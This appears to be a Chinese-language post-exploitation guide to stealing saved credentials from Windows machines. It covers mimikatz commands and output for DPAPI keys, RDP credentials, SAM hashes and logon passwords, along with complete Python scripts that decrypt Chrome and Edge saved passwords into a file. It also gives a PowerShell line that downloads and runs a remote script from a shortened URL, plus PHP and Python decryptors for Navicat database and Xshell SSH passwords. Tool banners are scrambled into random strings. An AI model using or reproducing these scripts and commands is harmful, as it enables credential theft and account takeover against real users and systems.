郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
学!后续会持续更新
系统密码
DPAPI解密
使用用户登录密码解密Master Key file,获得Master Key
固定位置: %APPDATA%\Microsoft\Protect\%SID%
下往往有多个Master Key file
这是为了安全起见,系统每隔90天会自动生成一个新的Master Key(旧的不会删除)
%APPDATA%\Microsoft\Protect\%SID%
下存在一个固定文件Preferred
,包含最后一个Master Key file的名称和创建时间,文件结构如下:
typedef struct _tagPreferredMasterKey { GUID guidMasterKey; FILETIME ftCreated; } PREFERREDMASTERKEY, *PPREFERREDMASTERKEY;
完整的流程:
找到本机的Master Key file
从Master Key file中获取到Master Key
通过Master Key解密DPAPI blob获得明文
本地保存RDP密码
首先需要打开隐藏受保护的操作系统文件 ,不打开的话就算打开了显示隐藏的文件、文件夹和驱动器 也是看不到的
接着打开文件C:\Users\用户名\AppData\Local\Microsoft\Credentials
就可以看到保存的数据了
使用cmdkey /line
命令可以查看本地保存了哪些密码,如果你连过其他服务器如果点击了保存密码就能抓取到
使用🥝读取
dpapi::cred /in:C:\Users\ascotbe\AppData\Local\Microsoft\Credentials\SESSIONID
获取到guidMasterKey 其实就是我们的master key file名称
切记一点不同的SESSIONID如果间隔时间超过90天那么对应的guidMasterKey也是不同的
通过命令获取到Master Key file的Master Key,下文中GUID==Master Key file ,MasterKey==Master Key
EeLrXMiD # sekurlsa::dpapi Authentication Id : 0 ; 229076 (00000000:00037ed4) Session : Interactive from 1 User Name : ascotbe Domain : 樱岛麻衣 Logon Server : 樱岛麻衣 Logon Time : 2021/6/7 9:37:53 SID : S-1-5-21-1645164750-2672341361-3879437546-1000 [00000000] * GUID : {d3fcdbfb-06bd-49f0-98b4-ac08664c176a} * Time : 2021/6/7 9:37:59 * MasterKey : 7da666987b2b6a51db3148cd01a6fe460a79315d1678a24b327d251c4f9138eecbb7ca4919de8de678628963761ee731a1316b78a6a982d0d4a9c590f5171c9e * sha1(key) : efd1c9d7290d13b3ecc1e288accfc5d6707d3403 [00000001] * GUID : {33449413-8697-4a85-a075-778b49015fbe} * Time : 2021/6/8 17:17:37 * MasterKey : 0ac77f164c38e751f303e26d883cd15e3eb3861f2d69c2ba192035511bfc8f2880f206ef238de4d282384c813326feeaef364b9089c86a97a5169f31dbd319ee * sha1(key) : f45701db86a93d9b860be725d7eaf32a9a684a77 [00000002] * GUID : {788f0828-1d1e-478d-adf6-7a37e92182e8} * Time : 2021/6/7 18:01:08 * MasterKey : 6a9ece2f3bd683c2ac14c69e13465399e9ce20c2930dd51dd9378eed800b06b409f7f4bef926e503d85a0b9e5e1f4cc5ccd01fb2ddaa8de90d086bf3a8ae3bf3 * sha1(key) : f2d6c58b2d2f0a91e07dc0d1cb7db7cb8935f955
只需要使用SESSIONID 对应的GUID和MasterKey就能解密数据了
dpapi::cred /in:C:\Users\ascotbe\AppData\Local\Microsoft\Credentials\SESSION /masterkey:对应的GUID MasterKey
TargetName 是目标机器,UserName 是账号,CredentialBlob 是密码
本机密码
通过注册列表抓取密码
首先需要管理员权限,抓取注册列表中保存的哈希
reg save HKLM\SYSTEM SYSTEM reg save HKLM\SAM SAM
然后通过🥝进行解密
lsadump::sam /sam:SAM /system:SYSTEM
解密后的数据
Windows PowerShell 版权所有 (C) Microsoft Corporation。保留所有权利。 尝试新的跨平台 PowerShell https://aka.ms/pscore6 PS C:\Users\ascotbe> cd .\Desktop\ PS C:\Users\ascotbe\Desktop> reg save HKLM\SYSTEM SYSTEM 操作成功完成。 PS C:\Users\ascotbe\Desktop> reg save HKLM\SAM SAM 操作成功完成。 PS C:\Users\ascotbe\Desktop> .\x64.exe .#####. EeLrXMiD 2.2.0 (x64) #19041 Oct 10 2020 14:46:27 .## ^ ##. "e2G6OxuvUXNR1'Amour" - (IcaHL) ## / \ ## /*** ST1KQSnf huXMA `gVhmWw70VD` ( NceCVtrwTckaqiPu3XOVsQl ) ## \ / ## > https://blog.gVhmWw70VD.com/EeLrXMiD '## v ##' Hp6bmVPNVLO9i7B ( FiLGZos4eo99IXHOADBc44Ir ) '#####' > https://ljrq4GxgPj6NY7 / https://A35s5WaTWwdjV2m6 ***/ EeLrXMiD # privilege::debug Privilege '20' OK EeLrXMiD # lsadump::sam /sam:SAM /system:SYSTEM Domain : 樱岛麻衣 SysKey : 42939b566ede597c3284d1bd23b15a97 Local SID : S-1-5-21-1645164750-2672341361-3879437546 SAMKey : b58a3643feb8148887485d5b702aaf3f RID : 000001f4 (500) User : Administrator Hash NTLM: 31d6cfe0d16ae931b73c59d7e0c089c0 Supplemental Credentials: * Primary:NTLM-Strong-NTOWF * Random Value : 900fff43b7507160b3e239892c034c22 * Primary:Kerberos-Newer-Keys * Default Salt : ASCOTBE1B49Administrator Default Iterations : 4096 Credentials aes256_hmac (4096) : 8185175d7c176c6decf21cbfbde54df0a4b86cca948bb660091d2a873073b26b aes128_hmac (4096) : ce32484a789bb52f0e43fa09ddac2bf0 des_cbc_md5 (4096) : f8f7ad86cd6e9840 * Packages * NTLM-Strong-NTOWF * Primary:Kerberos * Default Salt : ASCOTBE1B49Administrator Credentials des_cbc_md5 : f8f7ad86cd6e9840 RID : 000001f5 (501) User : Guest RID : 000001f7 (503) User : DefaultAccount RID : 000001f8 (504) User : WDAGUtilityAccount Hash NTLM: 4c5c287f286dce27cdd13c6b221979df Supplemental Credentials: * Primary:NTLM-Strong-NTOWF * Random Value : 38ab6a222bbf783640bdcbb714227d57 * Primary:Kerberos-Newer-Keys * Default Salt : WDAGUtilityAccount Default Iterations : 4096 Credentials aes256_hmac (4096) : c60e0605a0f960188d252efb376231de1e1fb3c2fbfd66cbc4a528d364a37bfc aes128_hmac (4096) : fb6b091efaa644e306673fcd565ce4f4 des_cbc_md5 (4096) : a1648949c202689e * Packages * NTLM-Strong-NTOWF * Primary:Kerberos * Default Salt : WDAGUtilityAccount Credentials des_cbc_md5 : a1648949c202689e RID : 000003e8 (1000) User : ascotbe Hash NTLM: 31d6cfe0d16ae931b73c59d7e0c089c0 Supplemental Credentials: * Primary:NTLM-Strong-NTOWF * Random Value : 42d6e016527f7bce204d94cc40baa99a * Primary:Kerberos-Newer-Keys * Default Salt : ASCOTBE1B49ascotbe Default Iterations : 4096 Credentials aes256_hmac (4096) : 35c0a798a120c3b112bcdb7636b8dd3e3b12284c0e85a5b1c93bfbe9c4b83c02 aes128_hmac (4096) : 12a06f6bb5ff719a314ddfe96c83c69e des_cbc_md5 (4096) : fdd661fe76542cdf * Packages * NTLM-Strong-NTOWF * Primary:Kerberos * Default Salt : ASCOTBE1B49ascotbe Credentials des_cbc_md5 : fdd661fe76542cdf EeLrXMiD #
我们只需要查看最后一个ascotbe (我本机这个是管理员用户)这个账户的Hash NTLM即可知道本机密码了,通过网站解密
通过mimikatz抓取密码
需要管理员权限执行
privilege::debug sekurlsa::logonpasswords
即可得出密码
EeLrXMiD # sekurlsa::logonpasswords Authentication Id : 0 ; 229076 (00000000:00037ed4) Session : Interactive from 1 User Name : ascotbe Domain : 樱岛麻衣 Logon Server : 樱岛麻衣 Logon Time : 2021/6/7 9:37:53 SID : S-1-5-21-1645164750-2672341361-3879437546-1000 mSv : [00000003] Primary * Username : ascotbe * Domain : 樱岛麻衣 * NTLM : 31d6cfe0d16ae931b73c59d7e0c089c0 * SHA1 : da39a3ee5e6b4b0d3255bfef95601890afd80709 tsPkG : * Username : ascotbe * Domain : (null) * Password : (null) wDiGeST : * Username : ascotbe * Domain : (null) * Password : (null) kErberoS : * Username : ascotbe * Domain : (null) * Password : (null) sSp : crEdMan : clOuDAp :
浏览器密码
Chrome浏览器数据
Chrome的配置文件存放在%LocalAppData%
目录下。如果有两个Google Chrome账号那么每个账号会有不同的配置文件
C:\Users\admin\AppData\Local\Google\Chrome\User Data\Default (第一个配置文件的名称) C:\Users\admin\AppData\Local\Google\Chrome\User Data\Profile 2 (后续的配置文件以迭代数字方式命名)
目录中的Login Data
是SQLite 3数据库文件,里面存放了各种网站和账号等信息。
我们只需要关注logins这张表即可
origin_url:登录网址
username_value:用户名
password_value:被加密的用户密码
chrome version 80(80.0.3987.163) 版本前
chrome80以前的版本是直接可以通过DPAPI中的解密函数 CryptUnprotectData来进行解密的。
测试版本:chrome 79.0.3945.88
A用户解A的chrome密码
直接使用命令即可解密出
dpapi::chrome /in:"C:\Users\ascotbe\AppData\Local\Google\Chrome\User Data\Default\Login Data" /unprotect
也可以直接使用脚本
import osimport shutilimport sqlite3import win32cryptimport jsonAPP_DATA_PATH= os.environ['LOCALAPPDATA' ] DB_PATH = r'Google\Chrome\User Data\Default\Login Data' class ChromePassword : def __init__ (self ): self.passwordList = [] def get_chrome_db (self ): _full_path = os.path.join(APP_DATA_PATH,DB_PATH) _temp_path = os.path.join(APP_DATA_PATH,'sqlite_file' ) if os.path.exists(_temp_path): os.remove(_temp_path) shutil.copyfile(_full_path,_temp_path) self.show_password(_temp_path) def show_password (self,db_file ): conn = sqlite3.connect(db_file) _sql = 'select signon_realm,username_value,password_value from logins' for row in conn.execute(_sql): ret = win32crypt.CryptUnprotectData(row[2 ],None ,None ,None ,0 ) _info = 'url:%-40s username:%-20s password:%s\n' %\ (row[0 ][:50 ],row[1 ],ret[1 ].decode()) self.passwordList.append(_info) conn.close() os.remove(db_file) def save_passwords (self ): with open ('password.txt' ,'w' ,encoding='utf-8' ) as f: f.writelines(self.passwordList) if __name__=="__main__" : Main = ChromePassword() Main.get_chrome_db() Main.save_passwords()
B用户解A的chrome密码
首先我们需要获取到A用户的MasterKey值,就可以解密了
dpapi::chrome /in:"C:\Users\ascotbe\Desktop\Login Data" /unprotect /masterkey:831d02bf734632f7aaa7719f5ec593111997c9aeefabe71ac4e4a963de546784662fcec40722a4656870698cff96c348a37d669131e99401e0947fa355e8fd0b
chrome version 80 (80.0.3987.163)版本后
利用主密钥使用AES-GCM加密算法加密密码存放Login Data数据库,然后用DPAPI的加密函数CryptProtectData加密主密钥存放在Local State文件。其中Local State文件存放在如下地址(假设windows用户为admin),本质是个json文件,其中一个值os_crypt下的encrypted_key是解密需要用的被加密后的密钥。
解密流程
获取local state和Login Data文件位置
获取local state中加密的key(base64编码)
数据库语句提取Login Data sqllite文件的password_value
DPAPI解密加密key
ase-gcm解密password_value
脚本如下
import osimport sysimport shutilimport sqlite3import win32cryptimport json,base64import osimport sysfrom cryptography.hazmat.backends import default_backendfrom cryptography.hazmat.primitives.ciphers import ( Cipher, algorithms, modes ) APP_DATA_PATH= os.environ['LOCALAPPDATA' ] DB_PATH = r'Google\Chrome\User Data\Default\Login Data' NONCE_BYTE_SIZE = 12 def encrypt (cipher, plaintext, nonce ): cipher.mode = modes.GCM(nonce) encryptor = cipher.encryptor() ciphertext = encryptor.update(plaintext) return (cipher, ciphertext, nonce) def decrypt (cipher, ciphertext, nonce ): cipher.mode = modes.GCM(nonce) decryptor = cipher.decryptor() return decryptor.update(ciphertext) def get_cipher (key ): cipher = Cipher( algorithms.AES(key), None , backend=default_backend() ) return cipher def dpapi_decrypt (encrypted ): import ctypes import ctypes.wintypes class DATA_BLOB (ctypes.Structure): _fields_ = [('cbData' , ctypes.wintypes.DWORD), ('pbData' , ctypes.POINTER(ctypes.c_char))] p = ctypes.create_string_buffer(encrypted, len (encrypted)) blobin = DATA_BLOB(ctypes.sizeof(p), p) blobout = DATA_BLOB() retval = ctypes.windll.crypt32.CryptUnprotectData( ctypes.byref(blobin), None , None , None , None , 0 , ctypes.byref(blobout)) if not retval: raise ctypes.WinError() result = ctypes.string_at(blobout.pbData, blobout.cbData) ctypes.windll.kernel32.LocalFree(blobout.pbData) return result def unix_decrypt (encrypted ): if sys.platform.startswith('linux' ): password = 'peanuts' iterations = 1 else : raise NotImplementedError from Crypto.Cipher import AES from Crypto.Protocol.KDF import PBKDF2 salt = 'saltysalt' iv = ' ' * 16 length = 16 key = PBKDF2(password, salt, length, iterations) cipher = AES.new(key, AES.MODE_CBC, IV=iv) decrypted = cipher.decrypt(encrypted[3 :]) return decrypted[:-ord (decrypted[-1 ])] def get_key_from_local_state (): jsn = None with open (os.path.join(os.environ['LOCALAPPDATA' ], r"Google\Chrome\User Data\Local State" ),encoding='utf-8' ,mode ="r" ) as f: jsn = json.loads(str (f.readline())) return jsn["os_crypt" ]["encrypted_key" ] def aes_decrypt (encrypted_txt ): encoded_key = get_key_from_local_state() encrypted_key = base64.b64decode(encoded_key.encode()) encrypted_key = encrypted_key[5 :] key = dpapi_decrypt(encrypted_key) nonce = encrypted_txt[3 :15 ] cipher = get_cipher(key) return decrypt(cipher,encrypted_txt[15 :],nonce) class ChromePassword : def __init__ (self ): self.passwordList = [] def get_chrome_db (self ): _full_path = os.path.join(APP_DATA_PATH,DB_PATH) _temp_path = os.path.join(APP_DATA_PATH,'sqlite_file' ) if os.path.exists(_temp_path): os.remove(_temp_path) shutil.copyfile(_full_path,_temp_path) self.show_password(_temp_path) def show_password (self,db_file ): conn = sqlite3.connect(db_file) _sql = 'select signon_realm,username_value,password_value from logins' for row in conn.execute(_sql): host = row[0 ] if host.startswith('android' ): continue name = row[1 ] value = self.chrome_decrypt(row[2 ]) _info = 'url:%-40s username:%-20s password:%s\n' %(host,name,value) self.passwordList.append(_info) conn.close() os.remove(db_file) def chrome_decrypt (self,encrypted_txt ): if sys.platform == 'win32' : try : if encrypted_txt[:4 ] == b'\x01\x00\x00\x00' : decrypted_txt = dpapi_decrypt(encrypted_txt) return decrypted_txt.decode() elif encrypted_txt[:3 ] == b'v10' : decrypted_txt = aes_decrypt(encrypted_txt) return decrypted_txt[:-16 ].decode() except WindowsError: return None else : try : return unix_decrypt(encrypted_txt) except NotImplementedError: return None def save_passwords (self ): with open ('password.txt' ,'w' ,encoding='utf-8' ) as f: f.writelines(self.passwordList) if __name__=="__main__" : Main = ChromePassword() Main.get_chrome_db() Main.save_passwords()
Firefox浏览器数据
所有的密码保存位置在%APPDATA%\Mozilla\Firefox\Profiles\xxxxxxxx.default\
(xxxxxxxx为8位随机字母和数字的组合)
不同版本的Firefox保存记录的文件名称不同,具体区别如下:
不同版本的Firefox密钥文件的位置不同,具体区别如下:
默认情况下,当前用户的权限可以查看Firefox浏览器中保存的所有密码,为了提高安全性,Firefox浏览器支持为保存的密码添加额外的保护:设置Master Password。
添加Master Password后,查看保存的密码需要额外输入Master Password。
解密流程:
读取密钥文件(key4.db或key3.db),获得key和iv
读取记录文件(logins.json或signons.sqlite)的内容
如果未设置Master Password,使用key和iv对记录文件中的加密内容进行3DES-CBC解密。如果设置Master Password,还需要获得明文形式的Master Password,才能进行解密
未设置Master Password解密
WebBrowserPassView:官方下载 备份下载
.\WebBrowserPassView.exe /LoadPasswordsFirefox 1 /shtml "C:\Users\ascotbe\Desktop\passwords.html"
还能把谷歌最新版本的秘钥给解密了
设置Master Password解密
firefox_decrypt:官方下载
解密需要获取到用户设置的Master Password才行,解密工具别使用1.0版本,问题很多
IE 浏览器数据
首先需要打开浏览器的记住密码功能:工具->Internet 选项->内容->自动完成->勾选表单上的用户名和密码
远程下载执行(需要开启PS可执行)
直接使用命令,目前GitHub国内无法访问,推荐使用自己服务器存放脚本或者使用第三方源
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://bit.ly/2K75g15')"
本地执行(需要开启PS可执行)
直接把PS1文件放到目标机器上,执行就好了
[void ][Windows.Security.Credentials.PasswordVault ,Windows.Security.Credentials ,ContentType =WindowsRuntime ] $vault = New-Object Windows.Security.Credentials.PasswordVault$vault .RetrieveAll() | % { $_ .RetrievePassword();$_ } | select username,resource,password
落地文件执行
IE PassView:官方下载 备份下载
直接把文件双击即可看到密码
Edge浏览器数据
由于微软就套了一层壳,加密方式完全没有修改,值修改了数据保存的路径,所以我们修改上面Chrome的脚本即可获取成功
#数据库路径 C:\Users\ascotbe\AppData\Local\Microsoft\Edge\User Data\Default\Login Data #秘钥路径 C:\Users\ascotbe\AppData\Local\Microsoft\Edge\User Data\Local State
脚本修改如下
import osimport sysimport shutilimport sqlite3import win32cryptimport json,base64import osimport sysfrom cryptography.hazmat.backends import default_backendfrom cryptography.hazmat.primitives.ciphers import ( Cipher, algorithms, modes ) APP_DATA_PATH= os.environ['LOCALAPPDATA' ] DB_PATH = r'Microsoft\Edge\User Data\Default\Login Data' NONCE_BYTE_SIZE = 12 def encrypt (cipher, plaintext, nonce ): cipher.mode = modes.GCM(nonce) encryptor = cipher.encryptor() ciphertext = encryptor.update(plaintext) return (cipher, ciphertext, nonce) def decrypt (cipher, ciphertext, nonce ): cipher.mode = modes.GCM(nonce) decryptor = cipher.decryptor() return decryptor.update(ciphertext) def get_cipher (key ): cipher = Cipher( algorithms.AES(key), None , backend=default_backend() ) return cipher def dpapi_decrypt (encrypted ): import ctypes import ctypes.wintypes class DATA_BLOB (ctypes.Structure): _fields_ = [('cbData' , ctypes.wintypes.DWORD), ('pbData' , ctypes.POINTER(ctypes.c_char))] p = ctypes.create_string_buffer(encrypted, len (encrypted)) blobin = DATA_BLOB(ctypes.sizeof(p), p) blobout = DATA_BLOB() retval = ctypes.windll.crypt32.CryptUnprotectData( ctypes.byref(blobin), None , None , None , None , 0 , ctypes.byref(blobout)) if not retval: raise ctypes.WinError() result = ctypes.string_at(blobout.pbData, blobout.cbData) ctypes.windll.kernel32.LocalFree(blobout.pbData) return result def unix_decrypt (encrypted ): if sys.platform.startswith('linux' ): password = 'peanuts' iterations = 1 else : raise NotImplementedError from Crypto.Cipher import AES from Crypto.Protocol.KDF import PBKDF2 salt = 'saltysalt' iv = ' ' * 16 length = 16 key = PBKDF2(password, salt, length, iterations) cipher = AES.new(key, AES.MODE_CBC, IV=iv) decrypted = cipher.decrypt(encrypted[3 :]) return decrypted[:-ord (decrypted[-1 ])] def get_key_from_local_state (): jsn = None with open (os.path.join(os.environ['LOCALAPPDATA' ], r"Microsoft\Edge\User Data\Local State" ),encoding='utf-8' ,mode ="r" ) as f: jsn = json.loads(str (f.readline())) return jsn["os_crypt" ]["encrypted_key" ] def aes_decrypt (encrypted_txt ): encoded_key = get_key_from_local_state() encrypted_key = base64.b64decode(encoded_key.encode()) encrypted_key = encrypted_key[5 :] key = dpapi_decrypt(encrypted_key) nonce = encrypted_txt[3 :15 ] cipher = get_cipher(key) return decrypt(cipher,encrypted_txt[15 :],nonce) class ChromePassword : def __init__ (self ): self.passwordList = [] def get_chrome_db (self ): _full_path = os.path.join(APP_DATA_PATH,DB_PATH) _temp_path = os.path.join(APP_DATA_PATH,'sqlite_file' ) if os.path.exists(_temp_path): os.remove(_temp_path) shutil.copyfile(_full_path,_temp_path) self.show_password(_temp_path) def show_password (self,db_file ): conn = sqlite3.connect(db_file) _sql = 'select signon_realm,username_value,password_value from logins' for row in conn.execute(_sql): host = row[0 ] if host.startswith('android' ): continue name = row[1 ] value = self.chrome_decrypt(row[2 ]) _info = 'url:%-40s username:%-20s password:%s\n' %(host,name,value) self.passwordList.append(_info) conn.close() os.remove(db_file) def chrome_decrypt (self,encrypted_txt ): if sys.platform == 'win32' : try : if encrypted_txt[:4 ] == b'\x01\x00\x00\x00' : decrypted_txt = dpapi_decrypt(encrypted_txt) return decrypted_txt.decode() elif encrypted_txt[:3 ] == b'v10' : decrypted_txt = aes_decrypt(encrypted_txt) return decrypted_txt[:-16 ].decode() except WindowsError: return None else : try : return unix_decrypt(encrypted_txt) except NotImplementedError: return None def save_passwords (self ): with open ('password.txt' ,'w' ,encoding='utf-8' ) as f: f.writelines(self.passwordList) if __name__=="__main__" : Main = ChromePassword() Main.get_chrome_db() Main.save_passwords()
数据库密码
Navicat密码
目前测试只能解密11和12两个版本,其他版本未测试
数据库类型
注册表路径
MySQL
HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers
MariaDB
HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMARIADB\Servers
MongoDB
HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMONGODB\Servers
Microsoft SQL
HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMSSQL\Servers
Oracle
HKEY_CURRENT_USER\Software\PremiumSoft\NavicatOra\Servers
PostgreSQL
HKEY_CURRENT_USER\Software\PremiumSoft\NavicatPG\Servers
SQLite
HKEY_CURRENT_USER\Software\PremiumSoft\NavicatSQLite\Servers
能RDP连接到机器
当前已Mysql作为测试样例,通过注册列表中查看,位置如下
\HKEY_CURRENT_USER\SOFTWARE\PremiumSoft\Navicat\Servers\
接着把加密的密码复制出来进行解密,脚本如下,如果本机没有PHP环境可以使用在线网站
<?php namespace FatSmallTools ; class NavicatPassword { protected $version = 0 ; protected $aesKey = 'libcckeylibcckey' ; protected $aesIv = 'libcciv libcciv ' ; protected $blowString = '3DC5CA39' ; protected $blowKey = null ; protected $blowIv = null ; public function __construct ($version = 12 ) { $this ->version = $version ; $this ->blowKey = sha1 ('3DC5CA39' , true ); $this ->blowIv = hex2bin ('d9c7c3c8870d64bd' ); } public function encrypt ($string ) { $result = FALSE ; switch ($this ->version) { case 11 : $result = $this ->encryptEleven ($string ); break ; case 12 : $result = $this ->encryptTwelve ($string ); break ; default : break ; } return $result ; } protected function encryptEleven ($string ) { $round = intval (floor (strlen ($string ) / 8 )); $leftLength = strlen ($string ) % 8 ; $result = '' ; $currentVector = $this ->blowIv; for ($i = 0 ; $i < $round ; $i ++) { $temp = $this ->encryptBlock ($this ->xorBytes (substr ($string , 8 * $i , 8 ), $currentVector )); $currentVector = $this ->xorBytes ($currentVector , $temp ); $result .= $temp ; } if ($leftLength ) { $currentVector = $this ->encryptBlock ($currentVector ); $result .= $this ->xorBytes (substr ($string , 8 * $i , $leftLength ), $currentVector ); } return strtoupper (bin2hex ($result )); } protected function encryptBlock ($block ) { return openssl_encrypt ($block , 'BF-ECB' , $this ->blowKey, OPENSSL_RAW_DATA|OPENSSL_NO_PADDING); } protected function decryptBlock ($block ) { return openssl_decrypt ($block , 'BF-ECB' , $this ->blowKey, OPENSSL_RAW_DATA|OPENSSL_NO_PADDING); } protected function xorBytes ($str1 , $str2 ) { $result = '' ; for ($i = 0 ; $i < strlen ($str1 ); $i ++) { $result .= chr (ord ($str1 [$i ]) ^ ord ($str2 [$i ])); } return $result ; } protected function encryptTwelve ($string ) { $result = openssl_encrypt ($string , 'AES-128-CBC' , $this ->aesKey, OPENSSL_RAW_DATA, $this ->aesIv); return strtoupper (bin2hex ($result )); } public function decrypt ($string ) { $result = FALSE ; switch ($this ->version) { case 11 : $result = $this ->decryptEleven ($string ); break ; case 12 : $result = $this ->decryptTwelve ($string ); break ; default : break ; } return $result ; } protected function decryptEleven ($upperString ) { $string = hex2bin (strtolower ($upperString )); $round = intval (floor (strlen ($string ) / 8 )); $leftLength = strlen ($string ) % 8 ; $result = '' ; $currentVector = $this ->blowIv; for ($i = 0 ; $i < $round ; $i ++) { $encryptedBlock = substr ($string , 8 * $i , 8 ); $temp = $this ->xorBytes ($this ->decryptBlock ($encryptedBlock ), $currentVector ); $currentVector = $this ->xorBytes ($currentVector , $encryptedBlock ); $result .= $temp ; } if ($leftLength ) { $currentVector = $this ->encryptBlock ($currentVector ); $result .= $this ->xorBytes (substr ($string , 8 * $i , $leftLength ), $currentVector ); } return $result ; } protected function decryptTwelve ($upperString ) { $string = hex2bin (strtolower ($upperString )); return openssl_decrypt ($string , 'AES-128-CBC' , $this ->aesKey, OPENSSL_RAW_DATA, $this ->aesIv); } } use FatSmallTools \NavicatPassword ; $navicatPassword = new NavicatPassword (11 );$decode = $navicatPassword ->decrypt ('EF176B08C2D7735DB81C' );echo $decode ."\n" ;
不能RDP连接到机器
使用命令来保存注册列表的值
reg export HKCU\SOFTWARE\PremiumSoft\Navicat\Servers navicat
提取出来的内容如下,解密方式和上面一样
Windows Registry Editor Version 5.00 [HKEY_CURRENT_USER\SOFTWARE\PremiumSoft\Navicat\Servers] [HKEY_CURRENT_USER\SOFTWARE\PremiumSoft\Navicat\Servers\test] "ConnType"="ctMYSQL" "ConnTypeOra"="ctoBasic" "TNS"="" "DatabaseFileName"="" "Host"="127.0.0.1" "Port"=dword:00000cea "InitialDatabase"="" "OraServiceNameType"="snServiceName" "MSSQLAuthenMode"="mamSQLServer" "UserName"="root" "Pwd"="EF176B08C2D7735DB81C" "AskPassword"="false" "Codepage"=dword:0000fde9 "OraRole"="orDefault" "OraOSAuthentication"=dword:00000000 "AutoConnect"=dword:00000000 "QuerySavePath"="C:\\Users\\ascotbe\\Documents\\Navicat\\MySQL\\servers\\test" "UseCompression"=dword:00000000 "UseCharacterSet"=dword:00000001 "UsePingInterval"=dword:00000000 "PingInterval"=dword:000000f0 "UseNamedPipe"=dword:00000000 "NamedPipeSocket"="/tmp/mysql.sock" "SQLiteEncrypted"=dword:00000000 "UseEncryption"=dword:00000000 "UseAdvSettings"="false" "UseSSL"=dword:00000000 "UseSSLAuthen"=dword:00000000 "PGSSLMode"="smRequire" "ClientKey"="" "ClientCert"="" "CACert"="" "VerifyCACert"=dword:00000000 "Cipher"="" "PGSSLCRL"="" "UseSSH"=dword:00000000 "SSH_Host"="" "SSH_Port"=dword:00000016 "SSH_UserName"="" "SSH_AuthenMethod"="saPassword" "SSH_SavePassword"=dword:00000000 "SSH_PrivateKey"="" "SSH_SavePassphrase"=dword:00000000 "UseHTTP"=dword:00000000 "HTTP_URL"="" "HTTP_EncodeBase64"=dword:00000000 "HTTP_Authen"=dword:00000000 "HTTP_Username"="" "HttpSavePassword"=dword:00000000 "HTTP_CertAuth"=dword:00000000 "HTTP_ClientKey"="" "HTTP_ClientCert"="" "HTTP_CACert"="" "HTTP_Passphrase"="" "HTTP_Proxy"=dword:00000000 "HTTP_ProxyHost"="" "HTTP_ProxyPort"=dword:00000000 "HTTP_ProxyUsername"="" "HttpProxySavePassword"=dword:00000000 "NSYID"="" "NSYHash"="" "NSYNavicatID"="" "NSYDirtyFlag"=dword:00000000 "AskForSavePassword"=dword:00000000
SSH密码
Xshell密码
默认保存路径
版本
路径
Xshell 5
%userprofile%\Documents\NetSarang\Xshell\Sessions
Xshell 6
%userprofile%\Documents\NetSarang Computer\6\Xshell\Sessions
Xshell 7
%userprofile%\Documents\NetSarang Computer\7\Xshell\Sessions
关于xshell加密方式可以查看这篇文章
Xshell 5&Xshell 6
首先需获取到用户的SID值
PS C:\Users\ascotbe> whoami /user 用户信息 ---------------- 用户名 SID ================ ============================================== 樱岛麻衣\ascotbe S-1-5-21-1645164750-2672341361-3879437546-1000
然后使用脚本解密
python .\xshell.py -s username+sid -p "文件路径"
脚本代码如下
import osimport argparseimport base64import configparserfrom win32api import GetComputerName, GetUserNamefrom win32security import LookupAccountName, ConvertSidToStringSidfrom Crypto.Hash import SHA256from Crypto.Cipher import ARC4def decrypt_string (a1, a2 ): v1 = base64.b64decode(a2) v3 = ARC4.new(SHA256.new(a1.encode('ascii' )).digest()).decrypt(v1[:len (v1) - 0x20 ]) if SHA256.new(v3).digest() == v1[-32 :]: return v3.decode('ascii' ) else : return None parser = argparse.ArgumentParser(description="xsh, xfp password decrypt" ) parser.add_argument("-s" , "--sid" , default="" , type =str , help ="`username`+`sid`, user `whoami /user` in command." ) parser.add_argument("-p" , "--password" , default="" , type =str , help ="the password in sessions or path of sessions" ) args = parser.parse_args() if not args.sid: args.sid = GetUserName() + ConvertSidToStringSid(LookupAccountName(GetComputerName(), GetUserName())[0 ]) if not args.password: args.password = os.path.join(os.environ["USERPROFILE" ], r"Documents\NetSarang Computer\6" ) if not os.path.isdir(args.password): r = decrypt_string(args.sid, args.password) if r: print (r) for root, dirs, files in os.walk(args.password): for f in files: if f.endswith(".xsh" ) or f.endswith(".xfp" ): filepath = os.path.join(root, f) cfg = configparser.ConfigParser() try : cfg.read(filepath) except UnicodeDecodeError: cfg.read(filepath, encoding="utf-16" ) try : if f.endswith(".xsh" ): host = "{}:{}" .format (cfg["CONNECTION" ]["Host" ], cfg["CONNECTION" ]["Port" ]) username = cfg["CONNECTION:AUTHENTICATION" ]["UserName" ] password = decrypt_string(args.sid, cfg["CONNECTION:AUTHENTICATION" ]["Password" ]) else : host = "{}:{}" .format (cfg["Connection" ]["Host" ], cfg["Connection" ]["Port" ]) username = cfg["Connection" ]["UserName" ] password = decrypt_string(args.sid, cfg["Connection" ]["Password" ]) print ( f"{filepath:=^100 } \nHost: {host} \nUsername: {username} \nPassword: {password} " ) except Exception as e: print (f"{filepath:=^100 } \nError:{e} " )
Xshell 7
这个版本目前我没有找到解密方式,只能使用比较蠢的方式
星号密码查看器:备份下载
SecureCRT密码
保存位置如下,绿色版本的话在下载的文件夹中
版本
路径
全版本通用
%APPDATA%\VanDyke\Config\Sessions
小于7.X版本
把*.ini
文件拉取下来直接使用脚本解密,这个版本没有测试过
